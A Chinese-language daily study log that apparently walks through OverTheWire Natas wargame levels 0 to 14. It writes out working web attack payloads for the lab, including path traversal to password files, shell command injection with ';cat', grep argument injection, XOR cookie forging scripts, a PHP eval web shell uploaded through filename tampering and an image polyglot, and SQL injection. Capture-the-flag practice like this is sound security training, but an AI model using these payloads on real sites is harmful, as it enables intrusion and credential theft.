1625-5 王子昂 总结《2017年8月16日》 【连续第318天总结】
A. WarGames-Natas
B.
Level 0
这次是网页题目了
啥都没有,提示在本页面 基础题先看源代码╮(╯_╰)╭
<!--The password for natas1 is gtVrDuiDfck831PqWsLEZy5gyDz1clto -->
轻松找到
Level 1
还是在源代码里,这次右击不允许
直接F12Chrome DevTools可以看到源代码
也可以在Chrome DevTools中把右键菜单的事件监听给改了(return True即可)
<!--The password for natas2 is ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi -->
Level 2
这次确实啥都没有了
查看源代码,发现有一个files/pixel的图片文件藏着,pixel.png只有一个像素,确实没有信息
不过可以看看files文件夹下,从url中进入,可以看到还存在一个users.txt,打开得到password:
natas3:sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14
Level 3
这次查看根目录下的robots.txt
发现Disallow:/s3cr3t/
它的意思是禁止搜索引擎的爬虫抓取s3cr3t目录
于是我们手动访问,发现users.txt
得到password:
natas4:Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ
Leve 4
打开提示
Access disallowed. You are visiting from "http://natas4.natas.labs.overthewire.org/" while authorized users should come only from "http://natas5.natas.labs.overthewire.org/"
很明显,抓包篡改Refer项。这个项标识了用户是从哪个页面跳转过来的
用Burp Suite抓下来修改即可
Access granted. The password for natas5 is iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq
Level 5
Access disallowed. You are not logged in
仍然是抓包解决
本来以为是Authtication,b64解码后发现是登录认证╮(╯_╰)╭
再接着找,在cookie里最后一项发现loggedin=0,改成1后成功
Access granted. The password for natas6 is aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1
Level 6
给了PHP的源代码,是简单的密码验证
<?
include "includes/secret.inc";
if(array_key_exists("submit", $_POST)) {
if($secret == $_POST['secret']) {
print "Access granted. The password for natas7 is <censored>";
} else {
print "Wrong secret";
}
}
?>
查了半天PHP的相等比较漏洞
然后发现是直接浏览include的文件……OTZ
<?
$secret = "FOEIUWGHFEEUHOFUOIU";
?>
提交得到
Access granted. The password for natas7 is 7z3hEENjQtflzgnT29q7wAvMNfZdh0i9
Level 7
页面上有两个链接,通过php读取文件显示,读取方式为index.php?page=xxx
构造php?page=natas8则显示错误信息:
Warning: include(natas): failed to open stream: No such file or directory in /var/www/natas/natas7/index.php on line 21
Warning: include(): Failed opening 'natas' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /var/www/natas/natas7/index.php on line 21
得到文件读取目录/var/www/natas/natas7/
提示是password文件在/etc/natas_webpass/目录下,则构造page
../../../../etc/natas_webpass/natas8
读取得到password:DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe
Level 8
$encodedSecret = "3d3d516343746d4d6d6c315669563362";
function encodeSecret($secret) {
return bin2hex(strrev(base64_encode($secret)));
}
if(array_key_exists("submit", $_POST)) {
if(encodeSecret($_POST['secret']) == $encodedSecret) {
print "Access granted. The password for natas9 is <censored>";
} else {
print "Wrong secret";
}
}
很简单的PHP脚本,对密码依次进行b64编码、逆序、StrToInt变换
写个脚本逆向即可
import base64
code="3d3d516343746d4d6d6c315669563362"
str=''
for i in range(len(code)//2):
str=str+chr(int(code[2*i]+code[2*i+1],16))
print(base64.b64decode(str[::-1]))
oubWYf2kBq
Access granted. The password for natas9 is W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl
Level 9
$key = "";
if(array_key_exists("needle", $_REQUEST)) {
$key = $_REQUEST["needle"];
}
if($key != "") {
passthru("grep -i $key dictionary.txt");
}
?>
先随便输了个a试试,出现一大堆单词
你这还真是完完整整放了个字典啊OTZ
passthru函数执行外部命令,这个直接构造字符串不进行检查的方法很明显会包含一大堆漏洞
刚开始想跟直接cat的漏洞类似,在$key后加空格加别的文件来绕过dictionary.txt,不过因为目录不同好像也没法有什么想法
突然想到直接加分号输入别的命令不就好了么
构造”;cat /etc/natas_webpass/natas10;”,前后两个分号用来隔离grep和dic.txt
得到password:nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu
Level 10
上一关把flag立起来了,这次加了shell命令分隔符”;|&”的检测
不让执行别的命令那我们就在grep上动手脚呗~
查了一下grep的选项和参数
发现可以多个文件,那么加入/etc/natas_webpass/natas11的参数,穷举一下数字即可
shellcode为”3 /etc/natas_webpass/natas11“
Output:
/etc/natas_webpass/natas11:U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK
Level 11
这次对cookie在base64基础上还进行了XOR加密
$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");
function xor_encrypt($in) {
$key = '<censored>';
$text = $in;
$outText = '';
// Iterate through each character
for($i=0;$i<strlen($text);$i++) {
$outText .= $text[$i] ^ $key[$i % strlen($key)];
}
return $outText;
}
function loadData($def) {
global $_COOKIE;
$mydata = $def;
if(array_key_exists("data", $_COOKIE)) {
$tempdata = json_decode(xor_encrypt(base64_decode($_COOKIE["data"])), true);
if(is_array($tempdata) && array_key_exists("showpassword", $tempdata) && array_key_exists("bgcolor", $tempdata)) {
if (preg_match('/^#(?:[a-f\d]{6})$/i', $tempdata['bgcolor'])) {
$mydata['showpassword'] = $tempdata['showpassword'];
$mydata['bgcolor'] = $tempdata['bgcolor'];
}
}
}
return $mydata;
}
function saveData($d) {
setcookie("data", base64_encode(xor_encrypt(json_encode($d))));
}
$data = loadData($defaultdata);//加载data
if(array_key_exists("bgcolor",$_REQUEST)) {//如果REQUEST中包含bgcolor
if (preg_match('/^#(?:[a-f\d]{6})$/i', $_REQUEST['bgcolor'])) {
//通过正则检索颜色代码
$data['bgcolor'] = $_REQUEST['bgcolor'];//赋值入data中
}
}
saveData($data);//服务器将新的cookie发送给客户端
在源代码中可以看到如果password的值为yes则显示下一关的pw
问题在于XOR的key是未知的,因此需要构造内容进行明文攻击
默认是#ffffff,输入#777777提交,抓包发送cookie中的
data=“ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw=”
注意此时的data标识的bcolor为#ffffff的,因为新的cookie还没返回
再随便输入个内容提交,抓包,此时
data=“ClVLIh4ASCsCBE8lAxMacFMZ V2hdVVotEhhUJQNVAmhSQA99RkAPaAw=”
两个cookiet进行比较,发现靠后的8个字符出现了变化,说明这里就是代表颜色的字符
由于XOR的逆还是XOR,因此将它们与原字符串进行逐字xor
b64decode(EV4sFxFe) ^ ffffff
b64decode(QA99RkAP) ^ 777777
结果都是w8Jqw8,注意后两字符是前两字符的重复,大概率key长度就是4了
由于我们截取的bcolor值位于中间,因此key的顺序不确定
对原字符串进行b64解密后进行XOR穷举解密:
import base64
def XOR(str,key,s):#i表示偏移
for i in range(len(str)):
print(chr(ord(str[i]) ^ ord(key[(i+s)%len(key)])),end='')
print()
cookie="ClVLIh4ASCsCBE8lAxMacFMZ V2hdVVotEhhUJQNVAmhSQA99RkAPaAw="#777777
cookie2="ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw="#ffffff
data=base64.b64decode(cookie)
for i in range(4):
XOR(data.decode(),'w8Jq',i)
当偏移量=3时得到{“showpassword”:”no”,”bgcolor”:”#777777”}
即key=”qw8J”
将no修正为yes后进行XOR加密,再b64加密,修改包头提交完成
The password for natas12 is EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3
Level 12
这次是上传文件漏洞的利用
核心问题在于如何令web将上传文件作为命令来解释执行,即后缀名必须控制为php才行
提示上传JPEG文件,大小不能超过1KB
写个一句话木马
<?php eval($_GET['command']);?>//将command的内容作为命令执行
直接上传发现文件名被重命名为xxx.jpg
查看源代码,发现随机文件名的函数工作在网页端
于是抓包,将filename改为.php后缀名
然后根据给出文件名运行
利用直接学到的passthru执行外部命令函数来构造URL
http://natas12.natas.labs.overthewire.org/upload/9d05zwsqz6.php?command=passthru("cat /etc/natas_webpass/natas13");
得到pw:jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY
Level 13
这次虽然加入了在服务器端验证该文件是否为图像的exif_imagetype函数,但是上述漏洞仍然没有被解决
只要将php木马与jpeg图片合并,即“图种”制作即可
使用copy/b j.jpg+p.php j.jpg
然后上传j.jpg,抓包改变后缀名,同样方法执行cat命令即可
得到pw:Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1
Level 14
查看源代码,发现是sql注入
query语句是简单的”包含,构造where子句恒真即可
password输入a" or "1"="1
Successful login! The password for natas15 is AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J
C. 明日计划
X shell网址生成方法逆向